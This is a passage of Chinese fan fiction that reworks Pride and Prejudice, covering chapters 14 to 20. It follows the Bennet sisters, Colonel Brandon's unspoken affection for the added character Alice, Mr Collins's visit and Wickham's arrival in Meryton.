路面并不宽阔，她们只得两两并排。赫斯特夫人和伊丽莎白在前，艾莉丝和布兰登上校在后。 内瑟菲尔德庄园里的绿植花木栽种得很好，空气中夹带着花草的清新气息，仿佛可以涤去久闷在室内的浊气。 艾莉丝边走边观赏两边的植物，其中绽放着妍丽的花朵。她对花卉的了解不多，可任谁看到美丽的事物都会心生欢喜。 她的轻松自在感染了一旁的布兰登上校，他一贯端肃的面容柔和，紧抿的唇微扬。 静谧安详的氛围在他们身边发酵，等待着在时机成熟之日酝酿出甜醉的芬芳。 前头的赫斯特夫人和伊丽莎白不知不觉间走远，艾莉丝还在欣赏芳馥四溢的玫瑰。 “你喜欢玫瑰？”看她停留的时间过久，布兰登上校问。 “好看的花我都喜欢，但最喜欢的不 15. 第十五章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 晚饭过后，宾利先生殷切地招呼班内特小姐坐在靠近壁炉的沙发上，他满心满眼都是心上人，所有的热乎劲儿都朝着班内特小姐使，根本不搭理其他人。 两个做妹妹的看到他们亲近的画面，心里别提有多开心。她们并排而坐，一心三用，又是时不时抬头观察姐姐的笑颜，又是手上做着针线活，还能请求布兰登上校赏脸为她们念念诗。 亲朋好友之间彼此诵读是件再正常不过的事，布兰登上校扮演的角色多以倾听为主。也许是白天艾莉丝的夸奖给他注入了勇气，布兰登上校心中的不自信在她期待的眼神下节节败退，他翻开近来日阅读的十四行诗，清了清嗓子后低声诵念。 赫斯特先生永远是一群人里最不起眼的，他不是躺着假寐，就是和空闲的人打牌。今晚不凑巧，只有赫斯特夫人勉强答应陪他打几把过过手瘾。 宾利小姐只想和达西先生有共同话题，她跟着选了册书，心思却半点没在书上，好一会过去都还停在前两页。 努力起了几次话头都无人应答，宾利小姐只能自己暖场，她听宾利先生提到要在内瑟菲尔德庄园里办舞会，便请他务必要再三考虑，毕竟在座的人里不全对舞会热衷。 “不愿意参加的——比如达西和布兰登，他们那天大可以早点上床休息。”宾利先生说，“舞会的事宜我早就吩咐过仆人，他们已经准备起来了。” 先前的几次舞会，达西和布兰登两人堪称油盐不进，宾利先生已不再如刚开始那会花费力气劝说他的两位好友加入到热闹的气氛里去，他的绝大部分注意都被班内特小姐夺走。 深陷爱河的宾利先生哪还有精力去关注达西和布兰登的情况。 乍闻宾利先生的点名，把心思半遮半掩的男士不着痕迹地看向引自己心潮涌动的小姐。 伊丽莎白正对着达西先生。 她垂眸，小扇子一般的眼睫挡住他对那双富有光采的眼睛的窥伺，就像是阻碍他打开探进她心灵窗户的围栏，教他心虚地移开视线，不住提醒自己别为了一位身份不合适的小姐丢失应有的判断能力。 达西先生花了好大一番功夫，才教自己不至于色令智昏，让理性重新占据高地。而被注视的伊丽莎白，却发现了一个值得推敲的细节，她恰好瞧见布兰登上校往她们这里看过来。 那是极为短暂的一瞥，如同蜻蜓略过湖面，涟漪不过两三道便消融在水中，伊丽莎白甚至尚未看清其中的情绪，布兰登上校便恢复了原样。若非她有十足的把握，定会以为是一场错觉。 聪明才智在这一刻发挥着作用，将伊丽莎白前后观察到的细节串联在一起，一个大胆的猜想随之浮现在她的脑海中。 布兰登上校自然不知自己的心思被他人窥见到一些蛛丝马迹。诚然，宾利提到舞会时，他的心不可控地快速跳动起来，仿佛在音乐与烛光的氛围下，他抛下所有顾虑，全身心地投入到舞会里，哪怕仅有一支舞。 然而，然而。 无法不在意的不可抗力随处可见。秋夜寒露的湿冷气息中，温暖的法兰绒马甲正在外套下散发着热意，以此呵护布兰登上校那吃过子弹的肩膀，他收回视线，将幻想深深埋藏在内心深处。 另一头，宾利小姐就舞会方面没和宾利先生达成一致，也没得到达西先生的附和，她起身在屋内行走，似有意卖弄那经过教学实践而养成的走路姿态。 她的打算注定落空。达西先生埋头在书本中，半个眼神都没抬起。 “伊丽莎白小姐，不如像我一样起来走一走，”宾利小姐说，“总是坐着不利于身体的健康。” 伊丽莎白诧异之后，迅速搞懂了她的真实意图。 “好啊。”伊丽莎白收拾好手上的东西，在宾利小姐突如其来的亲近下挽起起她的手臂，两个人绕着屋子打圈。 她们的身姿袅娜，走起来仪态万千。 达西先生终于舍得抬头，但在宾利小姐邀请他加入时，他却毫不犹豫地拒绝了。 “你们之所以在屋里走来去去，无非出于两个动机，”达西先生道，“如果我加入，无论哪一个都会受到影响。” 他和伊丽莎白一样，看穿了宾利小姐在耍什么小花招。 “你这话又是什么意思？伊丽莎白小姐，你听懂了吗？” “我一点也不懂，但他一定是想故意刁难我们。我们倒不如无视他。” 这样的回答并不能让宾利小姐满意，她一再请求达西先生为她解释所谓的动机。 她们的动静不小，音量刚好能让旁边的人听见。艾莉丝放下手中的针线活，饶有趣味地等着达西先生的回答，她断定：“达西先生的话估计不会让宾利小姐满意。” “不管对面是谁，达西总会秉持自己的作风。” 像是为应证布兰登上校的话，达西先生的解释令宾利小姐直呼毒辣。 他认为她们要么是闺中密友，可以边走边聊一些不让他人知道的事，要么就是她们觉得自己走起路来足够优雅动人。 前者，他会妨碍到她们；后者，他可以在旁边欣赏。* “无论出于哪一个动机，”达西先生说，“坐在自己的位置上都是最好的选择。”* 那些小心思在聪明人眼里无处隐藏。宾利小姐脸颊发红，她叫嚷着得好好惩罚达西先生，结果等伊丽莎白请她凭借对达西先生的了解讥笑他时，她又连连否决。 “我们还是不要轻易讥笑他，”宾利小姐说，“就让他自己得意去吧。” 她的维护之意昭然若揭。 “这可真少见，但愿像达西先生这样讥笑不得的人能够少一些。” 倘若换作是简，她大概会顺着宾利小姐的意思略过这事，但伊丽莎白却不会，她最喜欢开玩笑，尤其是面对那些愚蠢无知又反复无常的行为。 “再聪明的人也有出错的时候，”对此，达西先生说，“我能做的就是避免让人发觉能够用来讥笑的弱点。” “比如傲慢？” “这说不好。我想真正的聪明人总会表现出适当的傲慢。” 他们两厢对视。 伊丽莎白笑吟吟：“看来达西先生你没有任何缺点。” “我并非如此自命不凡的人，”达西先生说，“不过我的缺点是很难原谅那些冒犯我的人。一旦他们丧失了我的好感，那绝无机会重新获得。”* 他眼神不闪不躲，说得格外认真。 伊丽莎白一顿 16. 第十六章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 三位班内特小姐回到家后，父亲的欢迎要更热忱，母亲却是认为她们不该不顾家人的担心和主人家的挽留。 好在事已成定局，艾莉丝又热情地揽着做母亲的胳膊往屋里走去，直言想念家里的父母姐妹，家里饭菜的口味，总之家里有的都被说了一遍。班内特太太抵不过艾莉丝的撒娇蛮缠，到底没再数落下去，只是无奈地瞪了她一眼。 伊丽莎白和简的耳根得了清净。班内特先生也微微地松口气，家里要有什么不让班内特太太不如意的事，首当其冲的就是他。 尽管艾莉丝不是班内特先生最疼爱的女儿，但他得承认她和莉迪亚是最能让他们从班内特太太的絮叨里解脱出来的存在。 她们跟着进屋。家里没有大变化，玛丽惯常坐在钢琴前面，她捧着一本有些年月的书籍，不时用笔在纸上写些什么，全神贯注到根本没发现姐妹的回来。 莉迪亚和凯瑟琳无聊地靠在沙发上，她们之前在菲利普斯姨妈家住了一晚，本打算提前认识一些红制服，结果从福特斯上校那得知几位年轻正盛的军官临时有事离开了驻扎的地方，要过几天才能回来。 不过即便如此，她们还是探听到不少消息。家里只有班内特太太感兴趣，她们分享得很不得劲。乍一见艾莉丝三人，立刻兴冲冲地跑上来，一副我有小道消息要说的模样。 民兵团里的人，艾莉丝她们只认识两三位。据莉迪亚和凯瑟琳所说，不久前还单身的福斯特上校已经有了心仪的人，估计再过些天就会和对方举行婚礼。 “镇上的人都说宾利先生要在内瑟菲尔德庄园举办一场舞会。”莉迪亚问，“你们知道是什么时候吗？” 加上班内特太太和凯瑟琳，她们三人目光如炬。 年轻小姐是为了能跳舞，班内特太太则是指望着宾利先生和简的事能尽早确定下来。 “宾利先生说是等简身体完全康复之后。”伊丽莎白说。 这个回答不能令班内特太太百分百满意，可好歹透露出宾利先生把简放在了心上，她是必然会被邀请的舞伴。班内特太太又激动起来，她端详过简的面色，让她再修养几天，别在关键时候掉链子。 作为当事人的简有些羞涩。在内瑟菲尔德庄园里的那一礼拜，虽然她一开始因为生病都在卧床休息，宾利先生的问候却没少过，更别提最后两三天里，他们俩经常在客厅里坐上几小时。 一整晚，她们不是聊红制服，就是聊内瑟菲尔德的舞会，每个人都满怀着期待，根本想不到接下来会有一位让人不愉快的客人登门拜访——朗伯恩财产未来的继承人柯林斯先生。 这要从现有的法律说起。 班内特家目前所有的土地和宅邸的归属必须符合法律中规定的限定继承权的条件，要想财产不旁落他人，班内特太太得生下一个儿子才行，否则这些财产只能在班内特先生的亲属中选择一位子侄继承。 很不幸的是，班内特夫妇只有六个女儿，甚至他们能给出的嫁妆不过是一人一千英镑。 班内特太太火急火燎想为女儿们筹谋一桩姻缘的原因，归根究底就是不希望哪一天班内特先生去世以后，她们沦落到无处可去的地步。 因而在第二天早晨，班内特先生提醒班内特太太把晚饭准备得丰盛一些后，她们才知道那位会继承班内特家财产的亲戚今天就会到。 班内特太太当即高声叫嚷起来，她接受不了这样的法律：“哪有自家的孩子不能继承，反而要把家产拱手让给亲戚的道理。” 她一把抱住艾莉丝和莉迪亚。 “这真是太不公道，太残酷的一件事了。我真不敢相信以后我们会被人无情地从这栋住了几十年的房子里赶出去。” “朗伯恩的财产和这不公道的罪过注定得由这位柯林斯先生一并继承，”班内特先生说，“不过他提前来信表明心迹的举止让我少了点担心——你们不至于在我离世后得不到任何一点的宽待。” 班内特太太听不进这些话：“他要是真的有礼貌，就该学他的父亲，彻底不和你来往。” 这是发生在班内特先生和柯林斯先生的父亲之间的陈年旧事，自有龃龉后，他们不再有任何情面上的往来。 柯林斯先生清楚这一点，但他打算和班内特先生一家重修旧好，并主动提出就继承朗伯恩财产的事进行补偿。 补偿二字一出，班内特太太的态度有所软化：“如果他真能做到在信里承诺的事。” 餐桌上的几位小姐轮流传阅过那封信后，对这位从未谋面的表哥有着不同的印象。 简这样好心肠的小姐自然不会怀疑他所释放出的好意。 “我从没见过有谁能把信写得这么夸张，而且什么事情他都能提到那位凯瑟琳夫人，”伊丽莎白说，“看来他对凯瑟琳夫人的提携很是感恩戴德。” 柯林斯先生目前在他所说的凯瑟琳夫人的教区内担任教士，他花了将近一半的篇幅来感谢凯瑟琳夫人的恩情，以及自己将如何用行动来回报对方的恩赐。文笔之浮夸令人咋舌。 “他的恭维水平在我见过的人里可以称得上是数一数二的程度。”艾莉丝说。 伊丽莎白笑了笑：“那我猜还是柯林斯先生的水平更胜一筹。” 她们在内瑟菲尔德庄园可目睹了不少宾利小姐对达西先生的恭维，奈何达西先生并不配合。 “他的口气教我不适，”玛丽说，“看似谦卑，实则自傲。” 班内特先生道：“我倒是想亲眼见见能把截然相反的口吻同时表现出来的人。” “我可不管他什么语气，”班内特太太说，“要是他遵守信上的时间，我们今天下午四点就会招待他。” 因着突如其来的访客，班内特一家的早饭吃得不算舒心。 “他会怎么补偿呢？”凯瑟琳不关心柯林斯先生这个人，她更关心所谓的弥补。 莉迪亚天马行空地猜测：“可能他像爸爸那样愿意定期给我们一笔生活费。” “那是慈善家才会做的事情。”玛丽浇灭她们的幻想。 “他既然在那位凯瑟琳夫人的教区内任职，肯定有住的地方，说不定他愿意推迟我们搬出去的时限。”艾莉丝推测。 17. 第十七章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 班内特太太的平和只维持了短短一会，就被柯林斯先生肆无忌惮环顾房子内部的视线所打断。 他的姿态有如是在行使主人的权利，视察自己的财产，而生活在里面几十年的班内特一家倒像是租客，正战战兢兢地担忧哪一天就会被无情地赶出房门。 她又不乐意听柯林斯先生对屋子的恭维了，这些赞美不亚于往她心窝子上捅刀子。 不过柯林斯先生是个不需要别人多么热络，单靠自己就能夸夸其谈的性格，加之几位小姐们很乐意和这位兼具两种性格表现的表哥交谈，场面才没僵持。 她们走过备受称赞的客厅，把柯林斯先生领到饭厅。在蜡烛的照明下，整齐摆放的银质餐具闪烁着金属的光泽。 为了招待客人，班内特家今天的晚餐很是丰盛，厨娘竭尽所能地发挥出自己的水平，以免影响客人对主家的评价。 柯林斯先生吃过几道菜之后，又打算说些好听的话：“太太，请问我该称赞哪一位表妹？”所有人都停下动作看他，“毕竟我很久没有品尝过这么美味的佳肴，这是那位表妹的厨艺？”* 气氛有些死寂，班内特太太压着火告诉他：“我们雇得起在厨房做事的仆人，小姐还不至于到亲自下厨的地步。”* 她现在再次认为柯林斯先生的面目可憎起来。 听听他说的是什么话？但凡是生活富足的人家，顶多教女儿一两道能拿得出手的菜，谁真的会让女儿整日待在厨房里受油烟的危害。 柯林斯先生为自己的失言连声道歉，他不该用别人家的情况来推测几位表妹，因为朗伯恩的产业完全可以支撑班内特家的开销。 他的道歉实在不算高明，起码班内特太太神色愈发冷漠，几位小姐也都默默用餐。 屋子里安静的只能听见刀叉划过食物、高脚杯端起又放下的动静。 “或许你可以跟我们聊聊信上的那位恩主，”班内特先生说，“我想你应该很感激她的恩情。” 说起凯瑟琳夫人，柯林斯先生如同打开了话匣子般滔滔不绝。明明她本人不在现场，柯林斯先生仍然用大段的话赞扬她的出身和为人，并且就他看见的班内特家的任何家具，都能引出凯瑟琳夫人庄园内的华贵富丽。 “所以你任职的地方离她的罗辛斯庄园近吗？” 柯林斯先生说：“并不远。在空闲的早晨，我会从自己的住宅一路散步过去，欣赏庄园的宏伟。偶尔凯瑟琳夫人会坐着她的四轮马车屈尊经过我的住宅。她会慰问我的日常起居，给我提供一些合理但我有所欠缺的建议。” “听上去她很看重你。”班内特先生抹了抹嘴巴，他略显懒散地靠在椅背上，神情似笑非笑。 “我发誓天底下再没有比她更好的资助人了。”柯林斯先生的语气谦卑，“她不仅为我提供了一份体面的工作，还会邀请我去她的庄园里用餐。在我父母相继离世后，凯瑟琳夫人是第一个关心我生活的人，她指出我已经到了该成家的年纪，得有一位贤良的妻子为我打点家务。”* 最后一句话，柯林斯先生看向了班内特太太。 “有时候，我也会有过僭越的想法，或许夫人是把我当成了需要照顾的小辈，不过我清楚这是绝不可能的事情，但我依然发自内心的感恩夫人的好心。” “能得到你这么真切的感激，她的为人一定很平易近人。”班内特太太问，“那她有子女吗？” “她有一个女儿，未来会继承罗辛斯庄园，成为下一任公爵夫人。” 继凯瑟琳夫人，柯林斯先生又夸赞起那位有着大把财产和庄园可以继承，但身体孱弱的年轻小姐。 伊丽莎白和班内特先生两人默契地笑了笑，他们已经大致摸清了柯林斯先生的性格。 “凯瑟琳夫人很喜欢我这些巧妙的恭维，”柯林斯先生微笑，“我也很乐意在这方面多费心思。” 他颇有些洋洋自得的意思。 艾莉丝轻咳了两声，她放下酒杯，用帕子掩住唇。 班内特先生说：“艾莉丝，你的咳嗽来得真不是时候。我们正沉浸在柯林斯先生的恭维话里，也许下一秒就能想象出点缀宫廷的明珠的风采。” “这些恭维的话大多都是我的随兴所作，不止明珠的形容，我也曾将小姐比作天边的皎月。”柯林斯先生卖弄着他的奉承：“事实上，最美好的事物都不足以描绘那位小姐千分之一的优雅可爱。我认为只有当你们亲眼所见，才能明白我的语言是如此的贫瘠。” “所以，以先生你的能力，还有需要煞费苦心准备的时候？”伊丽莎白问。 “不过我会尽量表现出是灵机一动想到的样子。” 艾莉丝说：“如果把讨人喜欢的奉承话单独作为一门课程的话，先生你完全可以胜任教授的位置。” “即便我有心教学，但不是所有人都能学到精髓。”柯林斯先生结束了用餐，“我想这更依靠一些先天的敏锐。” “那你必然是其中的翘楚，先生，没人能比你表现得更自然流露了。” 伊丽莎白的话像是一个开关，餐桌上的其他几位小姐再忍不住，一个个脸上或多或少都带上了笑意。 好不容易挨过晚餐，应柯林斯先生的请求，班内特一家围坐在客厅的壁炉旁，准备听他朗诵。 然而，令她们想不到的是，柯林斯先生很是排斥小说，他认为这是一种无聊的消遣，因而他选的是福代斯的《布道集》，里面满是对女性应有的美德的劝诫和指导。 “我一向认为年轻小姐该多看一些正经的书籍，”柯林斯先生说，“这能让她们在教诲中获取一位女子应当具备的品德。” 或许柯林斯先生有意将他的表妹们从小说的毒害中拉回正道，然而他的念诵平淡无趣，毫无情感的起伏。 几位小姐从来没有哪一刻觉得时间流逝的如此缓慢，她们尽力做出一副认真倾听的模样，实则 18. 第十八章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 有时候，我们不得不承认人与人的际遇会有天差地别的不同。 尽管柯林斯先生本人的能力不显、学历一般，家境普通，但他足够幸运，能够得到凯瑟琳夫人的厚爱，并在贵人的扶持下摇身一变，成为别人眼中再体面不过的男士。 要说有什么欠缺的地方，则是他那幢日渐修缮完毕的屋子还差一位符合世情的女主人——班内特小姐姿容出众，性情温柔和善，待人接物周到妥帖，简直是方方面面都令柯林斯先生满意，他以为自己既然继承了班内特家的遗产，那么娶其中一位表妹作为妻子便是对她们的补偿等班内特先生过世后，班内特夫人和她的女儿们能作为他的妻妹继续生活在班内特宅邸。 如此一来，皆大欢喜。 柯林斯先生既然做出了决定，也认为这个决定做的很是尽善尽美，不会有地方被挑出毛病来，第二天，他便找上了班内特夫人。 正在逛街的小姐们尚不知情。 民兵团驻扎在梅里顿附近后，街上经常能看见红制服的身影。 她们小心避开围着水槽饮水的马匹，一路朝缎带店的位置走去。莉迪亚和凯瑟琳左顾右望，试图在一众红制服里找到那位去了伦敦的丹尼军官。 “说真的，经历了昨晚的折磨，我以后再也不抱怨玛丽总念晦涩的书了，”艾莉丝觉得，真该叫布兰登上校来听一听，什么才是真正的呆板乏味，“起码那些书不会满是教条，还有利于助眠，而不是如坐针毡地听着柯林斯先生朗诵。” 玛丽心有戚戚：“我总算体会到你们往日听我诵读的感受了。” “即便柯林斯先生念的是他避之不及的小说，以他枯燥的朗诵水平，恐怕也不会吸引听众的注意。”伊丽莎白说，“我真是好奇那些听他布道的人是否会睡过去。” 简无可奈何：“希望柯林斯先生不会真的打算读完一整本。” “实在不行，我们手头找点活做。”艾莉丝支招，“反正舞会上用的缎带买回去也要再装饰一下。” 提到舞会，几位小姐讨论起宾利先生什么时候才会发出正式的邀请。 几乎所有收到消息的人都在期待那一天的到来。内瑟菲尔德庄园内的金碧辉煌可不是梅里顿内的公共舞厅能够相提并论的，遑论不用自己付钱购买酒水吃食，据说里面的仆人还奉主人家的命令专门去了伦敦采购，想来买的都是上等品，还能教他们开开眼。 “是丹尼先生，”东张西望的莉迪亚忽然出声，“他回来了。”她激动地朝那边挥起手。 顺着莉迪亚的视线望去，几位小姐最先看到的却是一位长相英俊的年轻人。他和军官，也就是莉迪亚口中的丹尼先生并排走在街边，举手投足间风度翩翩，很有绅士的风范。 她们不曾见过这位生面孔，纷纷好奇他的身份。 不等莉迪亚和凯瑟琳去打听，丹尼先生便和那位把小姐们都吸引了的年轻人走了过来。 “请允许我为你们介绍我的朋友。”打过招呼后，丹尼先生说，“他是威克姆，前不久已经被任命为我们团里的军官。” 民兵团里像他这般长相出众的少有。莉迪亚和凯瑟琳几乎能想象到威克姆先生换上军装的迷人模样，她们当下就和他谈起话来。 丹尼先生和威克姆先生正闲着无事可做，聊过之后得知几位小姐要去绸缎店，索性在旁陪同。 一段时间没来，店里正中间的桌子上又新换了一批缎带。凯瑟琳和莉迪亚熟门熟路地跑进内室，玛丽和艾莉丝则凑在一起翻阅缎带花样的册子。 “丽齐，你能借我点钱吗？我下次还你。”莉迪亚探出头。 “我是不是该提醒你，莉迪亚，你还欠了我不少呢。” 威克姆先生微微一笑：“小姐，请允许我帮个小忙。”说着，他走到莉迪亚的身后，像是变戏法一般从她耳后的发间拿出一枚硬币。* 他这一手讨足了莉迪亚的欢心，她蹦跳着去挑选自己喜欢的样式。伊丽莎白没能劝下他的的好心，却又因他优雅有分寸的举止心生好感。 “或许我该等在店外才对。” 伊丽莎白不解地看向威克姆先生。 “在丝带的选择上，我可帮不了什么忙。” “威克姆先生，你是在谦虚吗？你用来束发的丝带非常适合今天的衣着。” “我说真的。” “你说得这么确信，”一位陌生的年轻人走进，他眉眼上扬，语气似笑似嘲，“我差点以为今早那个精心挑选丝带的人不是你了，威克姆。” 他的出现打了威克姆先生一个措手不及，而坐在门口椅子上的丹尼先生一个起身大步上前。 “威廉姆斯，你信上不是说明天才会赶到吗？”丹尼先生拍着这位威廉姆斯的后背，好不高兴。 “要是晚点到，我就要错过有趣的事了。”他睨过威克姆先生，又回拍丹尼先生的肩膀，“不为我介绍一下吗？” 丹尼先生反应过来，替一头雾水的几位小姐介绍他的这位好友。 和威克姆先生一样，威廉姆斯先生也将成为民兵团里的一员。 “很荣幸能够认识几位小姐。”他摘帽示意，举止做派跟刚才判若两人，“希望我没有打扰到你们的兴致。” “没有的事。你多虑了。”伊丽莎白道。 威克姆先生跟着其他两位男士坐到椅子上。 听到动静，借着垂挂展示的绸缎，一边的艾莉丝和玛丽悄悄观察起他们。 三人的气氛诡异，丹尼先生既和威克姆先生聊，也和威廉姆斯先生聊，偏偏威克姆先生和威廉姆斯先生之间甚少交流。 这样水火不相容的氛围一直持续到女士们结完账。 行为最奔放活泼的莉迪亚乍一见到新的生面孔，立刻询问起他的身份，在得知威廉姆斯先生也是一位红制服后，态度愈发热情。 在莉迪亚和凯瑟琳围着威廉姆斯先生时，威克姆先生才又不着痕迹地走到伊丽莎白的身边。 艾莉丝把情况默默看在眼里，她和玛丽对视了一眼，看出彼此眼中的疑惑。 从梅里顿回朗伯恩的路上，三位男士作为护花使者护送了大半的路程。 近日的天气不错，草地上不似雨天泥泞，他们顺着河流，散步在宽阔的林间。 威廉姆斯先生的出场虽然让人感觉不好接近，但真正相处起来谈吐优雅，不见半点傲慢，哪 19.第十九章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 盖因半路上发生的意外，宾利先生一行人没在班内特家多做停留，他们小坐一会后就告辞离开，回去的路也特意挑了另一条，以免再次碰上那位令达西先生心生厌恶的生面孔。 和宾利小姐说过要另择时间去通知舞会的开场日期后，三位男士齐聚在书房。 壁炉里的火焰刚被点燃，尚未来得及驱散宽敞室内的冷气。 一如达西先生的阴沉脸色。 仆人小心翼翼地敲响房门，为他们端来一瓶红酒。宾利先生将托盘上的三个酒杯倒满。 “达西，你认识那个人？”宾利先生问道。 达西先生“嗯”了一声，他端起酒杯饮下小半杯，好似要借此压下心头的怒意。 “他是彭伯利庄园管家的儿子威克姆，也是我父亲的教子。”他说，“但我不想过多地评价他，只能说如果可以，我希望他能永远消失在我的眼前。” 布兰登上校提醒：“但是镇上的民兵团也在舞会的受邀范围里，他们很有可能是刚上任的军官。” “他不会来。” 达西先生说得斩钉截铁，没有半分犹豫，显然是非常了解那位威克姆先生。 由于他明确表示不想多说，宾利先生和布兰登上校没再深究他们之间的矛盾。 “不过威克姆先生似乎和她们很聊得来，”宾利先生最先骑出林间，他看得分明，“他和伊丽莎白小姐有说有笑的。” 冰冷的玻璃里酒液晃荡。 在伊丽莎白离开内瑟菲尔德庄园的那天，达西先生信誓旦旦地认为自己可以保持感情上的理智。 但…… 达西先生闷下一口红酒。 “你们真打算舞会那晚通宵在楼上待着？”在简和姐妹离开内瑟菲尔德庄园后，宾利先生总算从爱情的美好中暂时脱身，他发觉自己的两个好友个个心怀心事，明明其他两位班内特小姐还在时，他们还很正常，“要我说，那可真是太无聊了。” “我看你们这几日和伊丽莎白小姐、艾莉丝小姐相处的不错，为什么不干脆和她们跳支舞呢？”宾利先生灵光一闪，“我敢确定，整个梅里顿，也就这两位小姐符合达西你说的认识的人的标准。” “那你就说错了。”达西先生否认。 宾利先生挑眉，来了兴致：“那你倒是说说，我哪里说的不对？” “我并不了解艾莉丝小姐，和她的交流也不多。” 在场就三个人，达西这么说，那么艾莉丝小姐熟悉的只剩下布兰登上校。宾利先生惊讶地看向他的这位好友：“布兰登，是我猜的那样吗？”他激动起来，“你藏得真深，我竟然一点都没发现。” “如果你能把你的眼神从班内特小姐身上转移，那么你就会看到不同于平常的布兰登。” “布兰登，那你一定要邀请艾莉丝小姐。这是多么好的一次机会啊！” 宾利先生的兴奋没有传染给布兰登上校半分，他双手交握放在膝上，粗粝的触感仿佛时刻提醒着他。 河岸边另一位不知名姓的绅士年轻俊朗，和艾莉丝站在一起的画面更符合世人眼中的登对。 “我……”他道，“我并不打算将我的这份心意宣之于口。” 宾利先生讶然：“为什么？难道我猜错了？你对艾莉丝小姐没有男女之情？” “不。我确实对艾莉丝小姐心生爱慕。”对两位好友承认了自己的心意后，布兰登上校不再掩饰，他说：“但这只会是我单方面的情感。” “以你的条件，班内特家的小姐也是高攀。布兰登，你在顾虑什么？”达西先生问。 “我不认为这些外在的条件有损艾莉丝小姐自身的魅力。她值得更好的选择。” “班内特家没有男性继承人，她们家的财产只能由班内特的子侄继承。而我们都知道，班内特小姐们的嫁妆只有一千英镑，纵然她们年轻貌美，现实是又有几个男士真心实意求娶？” 达西先生瞥了眼正欲为自己出声的宾利先生：“不是所有人都像你一样，有着不菲的身家，可以不介意妻子微薄的嫁妆。” 如今这个世道，真正有钱的恐怕是那些从商的人，但即便如此，他们挤破了头都想挤进上流社会，不然宾利先生为什么要买下一块属于自己的地。 布兰登上校看了一眼达西，他清楚好友肩负着家族的重担，而让家族的权势更进一步的更快捷的方式，无疑是和一位门当户对的小姐签订婚约，因而，达西难免会把家世列为考量的重要因素。 “感情是很难受外在的条件所影响的。” “事实是，她们不得不考虑现实情况。” “诚然，会有年轻小姐迫于现实压力而妥协，可她们未必就会感到幸福快乐。”布兰登上校再次说道，“感情是无法受外在条件的影响而轻易改变的，艾莉丝小姐只把我当做一个好相处的朋友，可亲近的长辈，我又何必令她感到烦恼。” 达西先生质问：“为了爱情而不顾身家地位在一起的婚姻，就绝对会幸福吗？” “等等，”宾利先生问，“达西，你这是在支持布兰登吗？”同是心仪班内特家的小姐，怎么达西还有不同的态度？ “我希望布兰登考虑清楚，他不该沉湎于过去的苦痛，更不该在看到未来的曙光时轻易放弃。” 他们三人，布兰登上校最是年长，考虑事情很是周到，但正因此，在做一些决定时往往会有所顾虑；宾利先生做事颇有些想一出是一出，虽然大部分都会落实，但难免容易出现差错。达西先生既不想布兰登退缩行事，抱憾终身，又不想让宾利太过草率，仓促求婚。 至于他自己，达西先生自认那份爱慕暂且不会使他失去理智。 “还有你，宾利。”达西先生说，“我同样希望你能认真审视你和班内特小姐彼此的心意。” 作为他们谈话的中心，两位班内特小姐不知道他们的纠结和摇摆。 兴冲冲跑到家里，却从班内特夫人的话里得知，宾利先生他们只待了没一会儿就离开了，和舞会有关的话一个字都没提到，莉迪亚一下没了兴趣。好在，菲利普斯姨妈邀请她们参加晚宴，让莉迪亚的心情转阴为晴。 她们，以及柯林斯先生一块去了晚宴。 柯林斯先生是一个到哪都不忘高谈凯瑟琳夫人恩情的人。菲利普斯一家很好客，他们热情地招呼柯林斯先生享用家里的茶点，在得知他如今有着体面的工作，又受到贵人的帮扶后，又夸奖柯林斯先生年少有为，未来可期。 作为回报，柯林斯先生频频用他的巧妙话术恭维菲利普斯一家，尤其是将他们的装修和罗辛斯庄园的某些地方挂钩，凸显出和家具本身相比并不具备的奢华。 柯林斯先生的讨好很成功，菲利普斯夫人不住地夸赞他。 这样的局面截止于军官们的到来。 民兵团里的军官大多身姿提拔。柯林斯先生的身量虽高，但体态略显笨拙，远不如军官们来得吸睛。 左一句凯瑟琳夫人，右一句罗辛斯庄园，班内特家的小姐早在柯林斯先生到来的第一晚就被耗尽了所有的好奇，她们一改刚才无话可说的敷衍，高高兴兴地和认识的军官说起话来。 威克姆先生才来两三天，就成了最受欢迎的军官。他风度翩翩，举止迷人，说话又好听，夫人和小姐们都爱和他聊天。 见他进屋，她们都翘首以待地露出自己优雅的一面，试图得到威克姆先生的注意。不过，她们的期望并没实现。 威克姆先生环顾一圈后，深邃的眼眸落在班内特家的小姐的所在之处。 他直直地朝着 20.第二十章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 威克姆先生与威廉姆斯先生间的矛盾尚且不明，但他和达西先生之间的纠葛却得到了来自当事人之一的解释。 晚宴结束的第二天，莉迪亚和凯瑟琳还在楼上睡觉，而其他四位班内特小姐则漫步在距离家附近不远处的矮树林。这本来是伊丽莎白和艾莉丝的习惯，但介于有了男士们的最新消息，简和玛丽难以免俗的想要弄清其中的来龙去脉。 顶着姐妹们投来的好奇的眼神，伊丽莎白说起昨晚她和威克姆先生的聊天内容。 这并非出自伊丽莎白的主动询问，她可不指望能从威克姆先生那打听到丁点的消息，但事情的走向总是出人意料。 “威克姆先生先向你问起了达西先生？”这可真是个稀罕事。艾莉丝想着，顺嘴提了一句威廉姆斯先生对威克姆先生那毫无遮掩的不喜。 伊丽莎白顿了顿：“要是他能像威克姆先生那般，详尽的阐明与达西先生的过往，以此来证明他和达西先生为何两看生厌的话，我会更容易理解他的不喜。” 任谁听过威克姆先生昨夜里的真情流露，都不会再铁石心肠地怀疑他。伊丽莎白便是。 “据威克姆先生所说，他是彭伯里庄园管家的儿子，后来又成了老达西先生的教子，自幼和达西先生一起长大。” “既然他们之间有这样亲密如兄弟的关系，怎会发展到形同陌路的地步。”简有些替这两位先生难过。毕竟以她和善的性子，单是设想自己和妹妹们互生仇怨的可能，便足够教她难以接受了。 “是的，本该如此。”伊丽莎白说，“可老达西先生对威克姆先生疼爱，无疑招致了达西先生的嫉妒。” 玛丽问：“难道老达西先生还能爱其他人的孩子胜过自己的亲子不成？” “是啊。若是父母对家里的几个孩子的疼爱各有长短，那我还能理解。”艾莉丝虽然年纪最小，但她早就感受到班内特夫妇对每个孩子的不同喜爱度，“但这事发生在达西先生和威克姆身上，就有些奇怪啦。” “我想这没什么不可能的。威克姆先生有着那样英俊的容貌，性格又和蔼可亲，是人都会对他心生好感。反观达西先生，他的姿态可要傲慢多了，即便他有那样丰厚的身家，也很难得到人们发自内心的喜欢。” 人的初印象一旦产生，往往很难再有改变的可能。 